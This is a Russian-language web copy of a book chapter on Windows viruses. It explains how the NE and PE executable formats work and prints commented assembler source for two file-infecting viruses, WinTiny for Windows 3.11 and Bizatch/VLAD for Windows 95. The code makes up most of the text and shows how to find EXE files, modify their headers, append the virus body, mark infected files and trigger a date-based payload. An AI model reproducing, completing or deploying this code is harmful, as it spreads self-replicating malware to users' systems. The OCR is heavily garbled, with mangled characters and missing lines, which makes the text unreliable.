Меню
  Список тем
  Поиск
Полезная информация
  Краткие содержания
  Словари и энциклопедии
  Классическая литература
Заказ книг и дисков по обучению
  Учебники, словари (labirint.ru)
  Учебная литература (Читай-город.ru)
  Учебная литература (book24.ru)
  Учебная литература (Буквоед.ru)
  Технические и естественные науки (labirint.ru)
  Технические и естественные науки (Читай-город.ru)
  Общественные и гуманитарные науки (labirint.ru)
  Общественные и гуманитарные науки (Читай-город.ru)
  Медицина (labirint.ru)
  Медицина (Читай-город.ru)
  Иностранные языки (labirint.ru)
  Иностранные языки (Читай-город.ru)
  Иностранные языки (Буквоед.ru)
  Искусство. Культура (labirint.ru)
  Искусство. Культура (Читай-город.ru)
  Экономика. Бизнес. Право (labirint.ru)
  Экономика. Бизнес. Право (Читай-город.ru)
  Экономика. Бизнес. Право (book24.ru)
  Экономика. Бизнес. Право (Буквоед.ru)
  Эзотерика и религия (labirint.ru)
  Эзотерика и религия (Читай-город.ru)
  Наука, увлечения, домоводство (book24.ru)
  Наука, увлечения, домоводство (Буквоед.ru)
  Для дома, увлечения (labirint.ru)
  Для дома, увлечения (Читай-город.ru)
  Для детей (labirint.ru)
  Для детей (Читай-город.ru)
  Для детей (book24.ru)
  Компакт-диски (labirint.ru)
  Художественная литература (labirint.ru)
  Художественная литература (Читай-город.ru)
  Художественная литература (Book24.ru)
  Художественная литература (Буквоед)
Реклама
Разное
  Отправить сообщение администрации сайта
  Соглашение на обработку персональных данных
Другие наши сайты
Приглашаем посетить
  Религия (religion.niv.ru)

   

Вирусы под Windows

Вирусы под Windows

ВИРУСЫ ПОД WINDOWS

В этой главе рассказано
о вирусах, заражающих фай-
лы в операционной среде

рассмотрены вирусы под
Windows 95, Представлены

с подробными комментариями,
Также приведены основные
сведения о запускаемых фай-
лах программ под Windows,
их структуре, отличиях
от файлов DOS,

Вирусы под Windows 3. 11

В исполняемом файле Windows содержатся в различных комбинациях
код, данные и ресурсы. Ресурсы - это BIN-данные для прикладных про-
грамм. Учитывая возможность запуска файла из DOS, формат данных
должен распознаваться обеими системами - и DOS, и Windows.

ка. Первый заголовок (старый) - распознается DOS как программа, вы-
водящая на экран "This program requires Microsoft Windows". Второй
заголовок (NewEXE) - для работы в Windows (см. приложение).


WinNE - обычный ЕХЕ-файл. Начинается он с заголовка ЕХЕ для
DOS и программы (STUB), которая выводит сообщение "This program
".

Если в ЕХЕ-заголовке по смещению 18h стоит число 40h или больше,
значит по смещению 3Ch находится смещение заголовка NewEXE.

Заголовок NewEXE начинается с символов "NE". Далее идет собствен-
но заголовок, в котором содержатся различные данные, в том числе ад-
реса смещений таблиц сегментов, ресурсов и другие. После заголовка
расположена таблица сегментов, за ней - все остальные таблицы, далее

Итак, порядок действий:

1. Адрес заголовка NewEXE (DOSHeader+3Ch) уменьшается на 8.

2. Заголовок NewEXE сдвигается на 8 байт назад.

3. В таблицу сегментов добавляется новый элемент, описывающий
сегмент вируса.


Для загрузки в память (надо перехватить вектор INT 21h из-под
Windows) необходимо использовать функции DPMI (INT 31h). Дей-
ствия: выделение сегмента, изменение его прав доступа, запись вируса,
перехват прерывания 21h (делается с помощью функций DPMI).

В качестве примера приведен полный исходный текст вируса под Windows.
Принципы заражения такие же, как и при заражении^обычного ЕХЕ-фай-
ла,- изменяется структура ЕХЕ-файла и среда, в которЬй он работает.

. 286


;Сохраним регистры и флаги
pushf
pusha

. Проверим, доступен ли DPMI. Если доступен,

mov ax,1686h

int 2Fh

or ax, ax

jz dpmiexist

;Восстановим регистры и флаги
exit:

pop es

pop ds

popa

popf

. Запустим программу-носитель


reloclP dw 0
relocCS dw OFFFFh
dpmiexist:

;Выделим линейный блок памяти, используя DPMI
mov ax,0501h
mov cx,OFFFFh
xor bx. bx
int 31 h

;Сохраним индекс и 32-битный линейный адрес
. полученного блока памяти в стеке

push di

push bx

push ex

;Создадим дескриптор в таблице LDT
хог ах,ах
mov ex, 1
int 31 h

;B поле адреса полученного дескриптора
. установим адрес нужного блока памяти

mov bx,ax

mov ах,7

pop dx

int •31h

;B поле предела полученного дескриптора

mov ах,8

mov dx,OFFFFh

хог сх. сх

int 31h

;В поле прав доступа полученного дескриптора установим значение,
соответствующее сегменту данных, доступному для чтения и записи

mov ах,9

mov cl, 1111001 Ob

хог ch,ch

;3агрузим селектор в регистр DS. После этого регистр DS будет

mov ds. bx

. Читаем из стека и сохраняем в памяти

pop [memhnd+2]

pop [memhnd]


mov ah,2Fh
int 21 h
mov [DTA],bx
mov [DTA+2],es

;Найдем первый ЕХЕ-файл (маска *. ЕХЕ)

xor ex,ex


push ds
push cs
pop ds
int 21 h

;Если файл найден, перейдем к заражению, иначе освободим
;выделенную область памяти и запустим программу-носитель
jnc foundexe

;0свободим выделенную область памяти
call free


jmp exit


closeexe:

; Закроем файл
mov ah,3Eh

;Найдем следующий файл

int 21h

;Если файл найден, перейдем к заражению, иначе освободим
-. выделенную область памяти и запустим программу-носитель
jnc foundexe

;0свободим выделенную область памяти

;3апустим программу-носитель
jmp exit

;Файл найден, проверим его на пригодность к заражению
found ехе:

;0ткроем файл для чтения и записи
push ds


add dx. lEh
mov ax,3D02h
int 21 h

. Прочтем старый заголовок
mov dx. OFFSET oldhdr
mov bx. ax

mov ah,3Fh
int 21h

;Проверим сигнатуру, это ЕХЕ-файл?
cmp WORD PTR [oldhdr],"ZM"
jne closeexe

[Проверим смещение таблицы настройки адресов.

;Если значение больше 40h, то это не обычный ЕХЕ-файл.

;Не будем сразу делать вывод,

;что это NewEXE, потому^что это может оказаться

;(PE-executable описан в разделе,

[посвященном Windows 95, остальные

;типы ЕХЕ-файлов в этой книге не рассматриваются)

cmp [oldhdr+18h],WORD PTR 40h

jb closeexe

Переводим указатель к смещению, обозначенному в поле 3Ch

mov cx. WORD PTR [oldhdr+3Eh]

int 21h

; Прочитаем второй заголовок
mov dx. OFFSET newJ-idr
mov ex,40h
mov ah,3fh
int 21h

[Проверим сигнатуру, если сигнатура "NE", то это NewEXE-файл
cmp WORD PTR [newhdr],"EN"

[Проверим, для Windows ли предназначен этот файл. Если да, будем
;заражать, иначе переходим к следующему файлу

and al,2

jz closeexe


;к элементу, обозначающему сегмент точки старта программы.
[Для этого прочтем значение регистра CS при запуске
[этого ЕХЕ-файла

mov dx. WORD PTR [newhdr+16h]


[элемента в таблице сегментов

;K результату прибавим смещение таблицы сегментов и смещение
. заголовка NewEXE

add dx,WORD PTR [newhdr+22h]

add dx. WORO PTR [oldhdr+3ch]

mov cx. WORD PTR [oldhdr+3eh]

[Переместим указатель чтения/записи
mov ax,4200h

[Прочтем из таблицы сегментов смещение логического сектора
mov dx,OFFSET temp
mov ex, 2
mov ah,3Fh
int 21 h

. Вычислим смещение сегмента, опираясь на значения
. смещения логического сектора и множителя секторов

mov dx. WORD PTR [temp]

mov cx. WORD PTR [newhdr+32h]

xor ax. ax

calentry:

shi dx,1

rcl ax,1

loop calentry

. Переместим 16 старших бит 32-битного результата в регистр СХ
mov cx,ax

;Прибавим к результату смещение стартового адреса (IP)
add dx,WORD PTR [newhdr+14h]
adc cx. O

;Переместим указатель позиции чтения/записи на точку старта

mov ax,4200h

int 21 h

;Считаем первые 10 байт после старта программы
mov dx, OFFSET temp
mov cx,10h
mov ah,3Fh
int 21 h

Проверим, заражен ли файл. Если считанные 10 байт в точности

;В этом случае переходим к поиску следующего, иначе - заражаем

mov si. OFFSET temp

push cs

pop es

mov ex, 8

eld

rep cmpsw

jne oktoinfect

Приступим к заражению
oktoinfect:


; Исправим соответствующие поля старого заголовка
sub WORD PTR [oldhdr+10h],8

sub WORD PTR [oldhdr+3ch],8
sbb WORD PTR [oldhdr+3eh],0

; Исправим значения таблиц в новом заголовке, чтобы переместились
;только заголовок и таблица сегментов (без остальных таблиц)

add WORD PTR [newhdr+24h],8

add WORD PTR [newhdr+26h],8

add WORD PTR [newhdr+2ah],8

;Сохраним оригинальные значения точек входа CS и IP
push WORD PTR [newhdr+14h]

pushTWORD PTR [newhdr+16h]
pop [hostcs]

;Добавим еще один сегмент в таблицу сегментов и установим
;точку входа на его начало

mov WORD PTR [newhdr+14h],0

push WORD PTR [newhdr+1ch]

pop WORD PTR [newhdr+16h]

. Переместим указатель чтения/записи в начало файла
;(к старому заголовку)

хог сх. сх

xor dx. dx

mov ax,4200h

int 21 h


;некоторые поля его копии в памяти

mov dx. OFFSET oldhdr

mov cx,40h

mov ah,40h

int 21 h

;Переместим указатель чтения/записи на начало нового
заголовка (его переместили на 8 байт к началу файла)

mov dx. WORD PTR [oldhdr+3ch]

mov cx,WORD PTR [oldhdr+3eh]


int 21 h

;3апишем новый заголовок, так как в его копии
;в памяти некоторые поля модифицированы

mov dx, OFFSET newhdr

mov cx,40h


хог сх. сх

mov dx,8

mov ax,4201 h

int 21h

рассчитаем размер таблицы сегментов и считаем ее в память
mov dx,OFFSET temp
mov cx. WORD PTR [newhdr+1ch]
dec ex
shi cx. 3
push ex
mov ah,3Fh
int 21h

Переместим указатель чтения/записи назад, к позиции
;за 8 байт перед началом таблицы сегментов

push dx

add dx,8

neg dx

mov cx,-1

mov ax,4201h

int 21h


;а на 8 байт ближе к началу файла

mov dx,OFFSET temp

int 21h

. Прочтем текущую позицию чтения/записи (конец таблицы сегментов)
xor сх,сх
xor dx. dx
mov^ ax,4201h

;Сохраним в стеке текущую позицию чтения/записи
push dx
push ax


xor сх. сх

int 21 h



push ax

;Вычислим и сохраним длину логического сектора
mov cx. WORD PTR [newhdr+32h]

shi ax. cl
mov [logseclen],ax





div ex


;остаток, увеличим количество секторов

or dx,dx

jz normd

inc ax
normd:

;3аполним поля нового элемента в таблице сегментов
mov [mysegentry],ax

3-1436

mov [mysegentry+2],OFFSET virend

mov [mysegentry+4],180h

mov [mysegentry+6],OFFSET virend

;Восстановим из стека позицию в файле конца таблицы секторов
pop dx
pop ex

Переместим указатель чтения/записи к этой позиции
mov ax,4200h
int 21 h

. Запишем в конец таблицы новый элемент
mov dx,OFFSET mysegentry
mov ex,8
mov ah,40h

;Скопируем тело вируса в область памяти, которую выделили

;в начале программы, для изменений в нем. В защищенном режиме

;(а работаем именно в нем), нельзя производить запись в сегмент

;кода. Если по какой-то причине нужно произвести изменение

;в сегменте кода, создается алиасный дескриптор данных

;(дескриптор, содержащий то же смещение и длину,

;что и сегмент кода), и дальнейшая работа ведется с ним.

;В данном случае просто воспользуемся выделенным блоком памяти

pop es

pop ds

xor si,si

mov di,OFFSET temp

eld

rep movsb

push es

pop ds

Инициализируем адрес точки входа
mov si,OFFSET temp
mov WORD PTR [si+reloc!P],0
mov WORD PTR [si+relocCS],OFFFFh

Переместим указатель чтения/записи на новую точку входа

mov ax,[mysegentry]

mov cx,[logseclen]

mul ex

mov cx. dx

mov ax,4200h

int 21h

;3апишем тело вируса в файл

mov dx, OFFSET temp

mov ah,40h

int 21h

. Инициализируем поля перемещаемого элемента
mov WORD PTR [relocdata],1
mov BYTE PTR [relocdata+2],3
mov BYTE PTR [relocdata+3],4
mov WORD PTR [relocdata+4],OFFSET reloclP


mov dx,OFFSET relocdata
mov ex, 10
mov ah,40h
int 21h

[Закроем файл
mov ah,3Eh
int 21h

. Освободим выделенный блок памяти


jmp exit

. Процедура, освобождающая выделенный блок памяти
free PROC NEAR

mov ax,0502h

mov si,[memhnd]

з*


ret
free ENDP

; Маска для поиска файлов
wildexe DB "•ЕХЕ-. О

;Имя вируса

DB "WinTiny"

;Идентификатор, указывающий на конец инициализированных данных
virend:

. Индекс выделенного блока памяти
memhnd DW ?


DTA DW ?
DW ?

;Место для хранения старого заголовка
olcLhdr DB 40h dup (?)

. Место для хранения нового заголовка
newhdr DB 40h dup (?)

;Длина логического номера сектора
logseclen DW ?

; Новый элемент в таблице сегментов
mysegentry DW ?

DW ?

DW ?

DW ?

. Перемещаемый элемент
relocdataDW ?

DB ?

DB ?

DW?

;3начение оригинальной точки входа
hostcs DW ?

;0бласть памяти для использования

END


и Windows 95, что делает его очень популярным, и в будущем, возмож-
но, он станет доминирующим форматом ЕХЕ. Этот формат значитель-
но отличается от NE-executable, используемого в Windows 3. 11.

вызов Windows 95 API

Обычные приложения вызывают Windows 95 API (Application Program
Interface) используя таблицу импортируемых имен. Когда приложение

цу. В Windows 95, благодаря предусмотрительности фирмы-производите-
ля Microsoft, модифицировать таблицу импортируемых имен невозможно.


необходимо полностью игнорировать структуру вызова и перейти не-
посредственно на точку входа DLL.

Чтобы получить описатель (Handle) DLL/EXE, можно использовать
вызов API GetModuleHandle или другие функции для получения точек
входа модуля, включая функцию получения адреса API GetProcAddress.


кой возможности не имея? Ответ: вызывать API, расположение которо-
го в памяти известно - это API в файле KERNEL32. DLL, он находится

Вызов API приложениями выглядит приблизительно так:

call APLFUNCTIONJMAME


После компиляции этот вызов выглядит так:


dd 7777 ;смещение в таблице переходов

jmp far [offset into import table]


для данной функции API. Этот адрес можно получить с помощью
GetProcAddress API. Диспетчер функций выглядит так:

push function value
call Module Entrypoint


модуля. Поэтому можно заменить вызовы KERNEL32. DLL в его стан-

в стеке значение функции и вызываем точку входа в модуль.

Модуль KERNEL32 располагается в памяти статически - именно так
и предполагалось. Но конкретное место его расположения в разных вер-
сиях Windows 95 отличается. Это было проверено. Оказалось, что одна
функция (получение времени/даты) отличается номером. Для компен-
сации этих различий добавлена проверка двух различных мест на нали-
чие KERNEL32. Но если KERNEL32 все-таки не найден, вирус возвра-
щает управление программе-носителю.

Для June Test Release KERNEL32 находится по адресу OBFF93B95h, для
August Release - по адресу OBFF93ClDh. Можно найти другие значе-
ния функции, используя 32-битный отладчик. В таблице 3. 1 приведены

Таблица 3. 1. Адреса некоторых функций KERNEL

Адрес в August Test
Release
BFF77744h BFF77744h
SetCurrentDir BFF7771Dh
GetTime BFF9DOB6h BFF9D14Eh
BFF638D9h BFF638D9h
FindFile BFF77893h BFF77893h
FindNext BFF778CBh
CreateFile BFF77817h BFF77817h
BFF76FAOh
ReadFile BFF75806h
WriteFile BFF7580Dh BFF7580Dh
CloseFile BFF7BC72H BFF7BC72h

Соглашения о вызовах

Windows 95 написан на языках C++ (в основном) и Assembler. И, хотя
соглашения о вызовах просты для применения, Microsoft их не исполь-
зует. Все API под Wm95 используют Pascal Calling Convention. При-
мер - API, описанный в файлах справки Visual C++:

FARPROC GetProcAddress(

HMODULE hModule, // описатель DLL-модуля

);


сатель DLL-модуля (он стоит перед указателем на имя функции) и выз-
вать API. Но это не так. Параметры, согласно Pascal Calling Convention,
должны быть сохранены в стеке в обратном порядке:

push offset IpszProc

push dword ptr [hModule]

Используя 32-битный отладчик, можно оттрассировать вызов и найти
вызов KERNEL32 для каждого конкретного случая. Это позволит полу-
чить номер функции и обойтись без необходимой для вызова таблицы
импортируемых имен.

Заражение файлов формата PE-executable


поиску начала NE-заголовка. Если смещение таблицы настройки адре-
сов (поле 18h) в заголовке ЕХЕ-файла 40h или больше, то по смещению
ЗСЬ находится смещение PE-executable заголовка. Сигнатура PE-execu-
table ("РЕ") находится, как и у NE-executable ЕХЕ-файла, в начале но-
вого заголовка.

Внутри РЕ-заголовка находится таблица объектов. Ее формат наиболее

ситель и перехвата вирусом управления необходимо добавить элемент
в таблицу объектов.

Основные действия заражения PE-executable файла:

1. Найти смещение заголовка PE-executable в файле.

2. Считать достаточное количество информации из заголовка для
вычисления его полного размера.

3. Считать весь РЕ-заголовок и таблицу объектов.

4. Добавить новый объект в таблицу объектов.

5. Установить точку входа RVA на новый объект.

6. Дописать вирус к файлу по вычисленному физическому смещению.

7. Записать измененный РЕ-заголовок в файл.
Для определения расположения таблицы объектов следует воспользо-
ваться значением переменной "HeaderSize" (не путать с "NT
headersize"), которая содержит совместный размер заголовков DOS, РЕ
и таблицы объектов.

Для чтения таблицы объектов необходимо считать HeaderSize байт
от начала файла.

Таблица объектов расположена непосредственно за NT-заголовком. Зна-
"NTheadersize" показывает количество байт, следующих за полем
"flags". Итак, для определения смещения таблицы объектов нужно по-


(размер элемента таблицы объектов). Таким образом определяется сме-
щение, по которому будет расположен вирус.

Данные для элемента таблицы объектов должны быть вычислены с исполь-

RVA=((prev RVA+prev Virtual Size)/OBJ Alignment+1)

*OBJ Alignment

Virtual Size=((size of virus+buffer any space)/OBJ Alignment+1)

*OBJ Alignment

Physical Size=(size of virus/File Alignment+1 )*File Alignment

Object Flags=db 40h,0,O. COh

Entrypoint RVA=RVA

Теперь необходимо увеличить на единицу поле "количество объектов"
и записать код вируса по вычисленному "физическому смещению"
"физического размера" байт.

Пример вируса под Windows 95

locals

jumps

. model flat. STDCALL

L equ <LARGE>

;0пределим внешние функции, к которым будет подключаться вирус
extrn BeginPaint:PROC
extrn CreateWindowExA:PROC
extrn DefWindowProcA:PROC
extrn DispatchMessageA:PROC
extrn EndPaint:PROC
extrn ExitProcess. -PROC
extrn FindWindowA:PROC
extrn GetMessageA:PROC

extrn GetStockObject:PROC
extrn lnvalidateRect:PROC
extrn LoadCursorA:PROC
extrn LoadlconA:PROC
extrn MessageBeep:PROC

extrn RegisterClassA:PROC
extrn ShowWindow:PROC

extrn TextOutA:PROC
extrn TranslateMessage:PROC
extrn UpdateWindow:PROC

;Для поддержки Unicode Win32 интерпретирует некоторые функции

;для ANSI или расширенного набора символов.

;В качестве примера рассмотрим ANSI

CreateWindowEx equ <CreateWindowExA>

DefWindowProc equ <DefWindowProcA>

DispatchMessage equ <DispatchMessageA>

FindWindow equ <FindWindowA>

GetMessage equ <GetMessageA>

GetModuleHandle equ <GetModuleHandleA>

LoadCursor equ <LoadCursorA>

Loadlcon equ <LoadlconA>

<MessageBoxA>

RegisterClass equ <RegisterClassA>

TextOut equ <TextOutA>

newhwnd dd 0

Ippaint PAINTSTRUCT <?>

msg MSGSTRUCT <?>

we WNDCLASS <?>

mbxcount dd 0

hinst dd 0

szTitleName db "Bizatch by Quantum / VLAD activated"

zero db 0

szAlternate db "more than once",0

szClassName db "ASMCLASS32",0

[Сообщение, выводимое в окне
"Left Button pressed:"
snum db "OOOOOOOOh times.",0

. Размер сообщения

MSGL EQU ($-offset szPaint)--!

. code

;Сюда обычно передается управление от загрузчика.
start:


push L О


mov [hlnst],eax

push offset szClassName
call FindWindow
or eax. eax
jz regclass

. Пространство для модификации строки заголовка

mov [zero]," "

;Инициализируем структуру WndClass

mov [wc. clsStyle],CSHREDRAW+CSVREDRAW+CSGLOBALCLASS

mov [wc. clsLpfnWndProc],offset WndProc

mov [wc. clsCbClsExtra],0

mov eax,[hlnst]

mov [wc. clsHlnstance], eax

[Загружаем значок

push L IDLAPPLICATION
push L 0
call Loadlcon
mov [wc. clsHlcon], eax

; Загружаем курсор

push L IDC. ARROW

call LoadCursor

mov [wc. clsHCursor], eax

. Инициализируем оставшиеся поля структуры WndClass

mov dword ptr [wc. clsLpszMenuName],0
mov dword ptr [wc. clslpszClassNameJ. offset szClassName


push offset we
call RegisterClass

; Создаем окно

push L 0. IpParam


push L 0 ;hwnd родительского окна
push L CWJJSEDEFAULT ;Высота
push L CWJJSEDEFAULT ;Длина


push L WSJ3VERLAPPEDWINDOW ;Style
push offset szTitleName ;Title Style
push offset szClassName ;Class name
push L 0 ;extra style
call CreateWindowEx

. Сохраняем HWND

mov [newhwnd], eax


push L SW. SHOWNORMAL
push [newhwnd]
call ShowWindow

;0бновляем содержимое окна
push [newhwnd]
call UpdateWindow

;0чередь сообщений

. Прочитаем следующее сообщение из очереди
push L О
push L О
push L О
push offset msg
call GetMessage

;Если функция GetMessage вернула нулевое значение, то завершаем

стр ах. 0

je endJoop

Преобразуем виртуальные коды клавиш в сообщения клавиатуры
push offset msg
call TranslateMessage

Передаем это сообщение назад в Windows
push offset msg
call DispatchMessage

[Переходим к следующему сообщению
jmp msgJoop

;Выход из процесса
endJoop:

push [msg. msWPARAM]

call ExitProcess

;ЕВХ, EDI. ESI. Запишем эти регистры после "uses" в строке "ргос".

WndProc proc uses ebx edi esi, hwnd;DWORD, wmsg:DWORD,
wparam:DWORD, lparam:DWORD
LOCAL theDC: DWORD


cmp [wmsg],WMDESTROY
je wmdestroy


je wmrbuttondown
cmp [wmsg],WMSIZE

cmp [wmsg]. WMCREATE
je wmcreate

cmp [wmsg],WMLBUTTONDOWN

je wmlbuttondown

cmp [wmsg],WMPAINT

je wm paint

cmp [wmsg],WMGETMINMAXINFO



:чтобы оно было обработано по умолчанию
jmp defwndproc

. Сообщение WMPAINT (перерисовать содержимое окна)

Подготовим окно для перерисовки

push [hwnd]
call BeginPaint

;Переведем в ASCII-формат значение mbxcount, которое
доказывает, сколько раз была нажата левая кнопка мыши

mov eax,[mbxcount]

mov edi, offset snum

call HexWrite32

; Вывод строки в окно

push offset szPaint ;Строка

push L 5 ;X

push [theDC] ;DC

;0бозначим завершение перерисовки окна
push offset Ippaint
push [hwnd]


mov eax, 0
jmp finish

;Сообщение WMCREATE (создание окна)
wmcreate:

; Выходим из обработки сообщения
mov eax, О
jrnp finish

[Сообщение, не обрабатываемое данной программой, передаем Windows
defwndproc:

push [wmsg]

call DefWindowProc

[Выходим из обработки сообщения
jmp finish


wmdestroy:

[Закроем поток
push L О

[Выходим из обработки сообщения
mov eax, О
jmp finish

. Сообщение WMJ-BUTTONDOWN (нажата левая кнопка мыши)

inc [mbxcount]

[Обновим содержимое окна
push L О
push L О
push [hwnd]

[Выходим из обработки сообщения
mov eax, О
jmp finish

[Сообщение WMRBUTTONDOWN (нажата правая кнопка мыши)

wmrbuttondown:

push L 0
call MessageBeep

; Выход им из обработки сообщения
jmp finish

;Сообщение WMSIZE (изменен размер окна)
wmsize:



jmp finish

[Сообщение WMGETMINMAXINFO (попытка изменить размер
;или положение окна)
wmgetminmaxinfo:

[Заполним структуру MINMAXINFO
mov ebx, [Iparam]

mov [(MINMAXINFO ptr ebx). mintrackpositionx],350
mov [(MINMAXINFO ptr ebx). mintrackpositiony],60

. Выходим из обработки сообщения
mov eax, 0
jmp finish


finish:

ret
WndProc endp

Процедура перевода байта в ASCII-формат для печати. Значение,

;по адресу ES:EDI
HexWriteS proc

; Разделяем байт на полубайты и загружаем их в регистры АН и AL
mov ah. al
and al. OFh
shr ah,4

[Добавляем 30h к каждому полубайту, чтобы регистры содержали коды

;записанное в полубайте, было больше 9,
;то значение в этом полубайте надо еще корректировать
or ax,3030h

. Меняем полубайты местами, чтобы регистр АН содержал младший
. полубайт, а регистр AL - старший
xchg al. ah

;Проверим. надо ли корректировать младший полубайт,
. если да - корректируем

cmp ah, 39h

ja @@4

[Проверим, надо ли корректировать старший полубайт,

@@1:

cmp al,39h

ja @@3


@@2:

ret


@@3:

add al, "A"-10

jmp @@2

[Корректируем значение младшего полубайта

add ah, "A"-10

jmp @@1
HexWriteS endp

[Процедура перевода слова в ASCII-формат для печати.

;в ASCII-формате по адресу ES:EDI
HexWrite16 proc

;Сохраним младший байт из стека
push ax

;3агрузим старший байт в регистр А1_
xchg al,ah

. Переведем старший байт в ASCII-формат
call HexWrite8

; Восстановим младший байт из стека

Переведем младший байт в ASCII-формат

call HexWrite8

ret

Процедура перевода двойного слова в ASCII-формат для печати.

;в ASCII-формате по адресу ES:EDI
HexWrite32 proc

. Сохраним младшее слово из стека
push eax

; Загрузим старшее слово в регистр АХ
shr eax, 16

[Переведем старшее слово в ASCII-формат

[Восстановим младшее слово из стека
pop eax

[Переведем младшее слово в ASCII-формат

ret
HexWrite32 endp

[Сделаем процедуру WndProc доступной извне
public WndProc

[Здесь начинается код вируса. Этот код переписывается из файла

vladseg segment para public "vlad"

assume cs:vladseg
vstart:

;Вычислим текущий адрес

call recalc
recalc:

mov eax. ebp

db 2Dh ;Код команды SUB AX
subme dd 30000h+(recalc-vstart)

;Сохраним адрес в стеке
push eax

[Вычислим стартовый адрес вирусного кода
sub ebp. offset recalc


mov eax,[ebp+offset kern2]

Проверим ключ. Если ключа нет, перейдем к точке 1
cmp dword ptr [eax],5350FC9Ch
jnz notkern2

mov eax,[ebp+offset kern2]
jmp movit

;Точка 2 не подошла, проверим точку 1
notkern2:

;Возьмем адрес первой известной нам точки KERNEL
mov eax,[ebp+offset kern1]

Проверим ключ, если ключа нет - выходим

jnz nopayload

;KERNEL найден, точка 1

mov eax,[ebp+offset kern1]

;KERNEL найден, адрес точки входа находится в регистре EAX
movit:

. Сохраним адрес KERNEL
mov [ebp+offset kern]. eax
eld

;3апомним текущую директорию
lea eax, [ebp+offset orgdir]
push eax
push 255
call GetCurDir

; Инициализируем счетчик заражений

mov byte ptr [ebp+offset countinfect],0

;Ищем первый файл
infectdir:

lea eax, [ebp+offset win32datathang]

push eax

lea eax, [ebp+offset fname]

push eax

call FindFile

;Сохраним индекс для поиска

mov dword ptr [ebp+offset searchhandle],eax

. Проверим, найден ли файл. Если файл не найден,
. меняем директорию

стр еах,-1

jz foundnothing


gofile:

push О

push dword ptr [ebp+offset fileattr] ;FILEATTRIBUTENORMAL

push 3 ;OPENEXISTING

push 0

push 0

push 80000000h+40000000h ;GENERICREAD+GENERICWRITE

call CreateFile

. Сохраним описатель файла

Проверим, не произошла ли ошибка.
. Если ошибка произошла, ищем следующий файл

стр еах,-1

jz findnextone

. Поставим указатель позиции чтения/записи на поле

push О

push О

push 3Ch

push dword ptr [ebp+offset ahand]

;Считаем адрес РЕ-заголовка
push О


push eax
push 4

lea eax,[ebp+offset peheaderoffset]
push eax


call ReadFile

. Поставим указатель позиции чтения/записи на начало РЕ-заголовка
push О

push dword ptr [ebp+offset peheaderoffset]
push dword ptr [ebp+offset ahand]
call SetFilePointer

;Считаем число байт, достаточное для вычисления полного размера
;РЕ-заголовка и таблицы объектов

push О

lea eax, [ebp+offset bytesread]

push eax

lea eax, [ebp+offset peheader]

push eax

push dword ptr [ebp+offset ahand]

call ReadFile

[Проверим сигнатуру. Если ее нет, закрываем

cmp dword ptr [ebp+offset peheader],00004550h;

jnz notape

. Проверим файл на зараженность. Если файл заражен,
;то закрываем этот файл и ищем следующий

cmp word ptr [ebp+offset peheader+4ch],OFOODh

jz notape

cmp dword ptr [ebp+offset 52],4000000h

jz notape


push О
push О

push dword ptr [ebp+offset peheaderoffset]

call SetFilePointer

;Считаем весь РЕ-заголовок и таблицу объектов
push О

lea eax, [ebp+offset bytesread]
push eax

push dword ptr [ebp+offset headersize]

push eax

push dword ptr [ebp+offset ahand]

[Установим признак заражения

mov word ptr [ebp+offset peheader+4ch],OFOODh

[Найдем смещение таблицы объектов
xor eax. eax


add eax,18h
mov dword ptr [ebp+offset ObjectTableoffset],eax

[Вычислим смещение последнего (null) объекта в таблице объектов
mov esi,dword ptr [ebp+offset ObjectTableoffset]
lea eax,[ebp+offset peheader]

xor eax. eax


mov ecx. 40

xor edx. edx

mul ecx

add esi. eax

;Увеличим число объектов на 1

lea edi,[ebp+offset newobject]

xchg edi. esi

;Вычислим относительный виртуальный адрес (Relative Virtual Address

add eax,[edi-5*8+12]

mov ecx. dword ptr [ebp+offset objalign]

xor edx. edx

div ecx

inc eax

mul ecx

;Вычислим физический размер нового объекта
mov ecx. dword ptr [ebp+offset filealign]
mov eax. vend-vstart
xor edx. edx

inc eax
mul ecx
mov dword ptr [ebp+offset physicalsize],eax

. Вычислим виртуальный размер нового объекта
mov ecx. dword ptr [ebp+offset objalign]
mov eax. vend-vstart+tOOOh
xor edx. edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp+offset virtualsize],eax

; Вычислим физическое смещение нового объекта
mov eax,[edi-5*8+20]
add eax,[edi-5*8+16]

xor edx. edx

inc eax

mul ecx

mov dword ptr [ebp+offset physicaloffset],eax

add eax,dword ptr [ebp+offset imagesize]

mov ecx, [ebp+offset objalign]

div ecx

inc eax

mul ecx

. Скопируем новый объект в таблицу объектов

mov ecx, 10

rep movsd

[Вычислим точку входа RVA

mov eax. dword ptr [ebp+offset RVA]

mov ebx. dword ptr [ebp+offset entrypointRVA]

mov dword ptr [ebp+offset entrypointRVA],eax

add eax,5

[Установим значение, необходимое для возврата в носитель
mov dword ptr [ebp+offset subme],eax


push О
push О

push dword ptr [ebp+offset peheaderoffset]
push dword ptr [ebp+offset ahand]
call SetFilePointer

[Запишем РЕ-заголовок и таблицу объектов в файл
push О

lea eax, [ebp+offset bytesread]
push eax



push eax

push dword ptr [ebp+offset ahand]

[Увеличим счетчик заражений

inc byte ptr [ebp+offset countinfect]


;по физическому смещению нового объекта

push О

push О

push dword ptr [ebp+offset physicaloffset]

push dword ptr [ebp+offset ahand]

call SetFilePointer

;3апишем тело вируса в новый объект
push О

lea eax,[ebp+offset bytesread]
push eax



push eax

push dword ptr [ebp+offset ahand]
call WriteFile

[Закроем файл
notape:

call CloseFile

[Переход к следующему файлу
findnextone:

[Проверим, сколько файлов заразили: если 3,
;то выходим, если меньше - ищем следующий

cmp byte ptr [ebp+offset countinfect],3

;Ищем следующий файл

lea eax, [ebp+offset win32datathang]
push eax

push dword ptr [ebp+offset searchhandle]
call FindNext

. Если файл найден, переходим к заражению
or eax. eax


foundnothing:

;Сменим директорию
хог еах. еах

lea edi,[ebp+offset tempdir]

rep stosd


mov ecx. 256/4

Получим текущую директорию

push esi
push 255

. Сменим директорию на "."

push eax

call SetCurDir

;Получим текущую директорию


push 255
call GetCurDir

Проверим, корневая ли это директория. Если да, то выходим


jnz infectdir

;"3аметаем следы" и выходим в программу-носитель

;Возвратимся в оригинальную текущую директорию

push eax
call SetCurDir

Получим текущую дату и время

lea eax,[ebp+offset systimestruct]

push eax
call GetTime


cmp word ptr [ebp+offset day],31
jnz nopayload

push 1000h ;MBSYSTEMMODAL

lea eax, [ebp+offset boxtitle]

push eax

lea eax, [ebp+offset boxmsg]

push eax

call MsgBox

; Выход в программу-носитель
nopayload:

jmp eax

;Когда KERNEL будет обнаружен, его смещение будет записано
kern dd OBFF93B95h



kern2 dd OBFF93C1Dh

;Чтение текущей директории

